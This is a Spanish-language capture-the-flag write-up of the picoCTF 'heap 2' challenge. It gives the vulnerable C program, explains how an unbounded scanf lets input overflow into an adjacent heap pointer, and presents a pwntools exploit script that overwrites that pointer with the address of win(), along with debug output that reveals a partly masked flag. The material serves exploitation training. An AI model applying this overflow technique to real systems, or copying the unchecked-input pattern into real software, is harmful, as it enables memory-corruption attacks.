Title here
Summary here

August 7, 20254 minutes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
void print_menu() {
printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x, x);
fflush(stdout);
}
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
Al iniciar el programa en la función init() se guarda en el heap “pico” y después “bico”
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
La función write_buffer permite escribir en el heap, en input_data.
Enter your choice: 2
Data for buffer: hello
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x8a5c720 -> hello
+-------------+-----------+
[*] 0x8a5c740 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice:
La diferencia entre las direcciones de pico y bico es de 0x20 (32 en decimal), como el scanf no válida la longitud del input del usuario se puede llegar a cambiar la variable que en un principio no se debería poder cambiar
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x8a5c720 -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest
+-------------+-----------+
[*] 0x8a5c740 -> test
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice:
La función check_win() lo que hace es saltar a la dirección que tenga la variable que originalmente equivalía a bico
void check_win() { ((void (*)())*(int*)x)(); }
Así que el payload va a ser 32 “A” + la dirección de la función win
#!/usr/bin/env python3
from pwn import *
HOST = "mimas.picoctf.net"
PORT = 64008
exe = ELF("./chall_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'warn'
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote(HOST, PORT)
return r
def main():
r = conn()
junk = b'A' * 32
payload = junk
payload += p64(0x00000000004011a0)
r.sendlineafter('choice:', b'2')
r.sendlineafter('buffer:', payload)
r.sendlineafter('choice:', b'4')
output = r.recvline()
print(output)
output = r.recvline()
print(output)
output = r.recvline()
print(output)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux heap2]$ python3 solve.py DEBUG
[DEBUG] Received 0xa3 bytes:
b'\n'
b'I have a function, I sometimes like to call it, maybe you should change it\n'
b'\n'
b'1. Print Heap\n'
b'2. Write to buffer\n'
b'3. Print x\n'
b'4. Print Flag\n'
b'5. Exit\n'
b'\n'
b'Enter your choice: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x11 bytes:
b'Data for buffer: '
[DEBUG] Sent 0x29 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 a0 11 40 00 00 00 00 00 0a │··@·│····│·│
00000029
[DEBUG] Received 0x57 bytes:
b'\n'
b'1. Print Heap\n'
b'2. Write to buffer\n'
b'3. Print x\n'
b'4. Print Flag\n'
b'5. Exit\n'
b'\n'
b'Enter your choice: '
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0x2a bytes:
b'picoCTF{and_********_91218226}\n'
b' picoCTF{and_********_91218226}\n'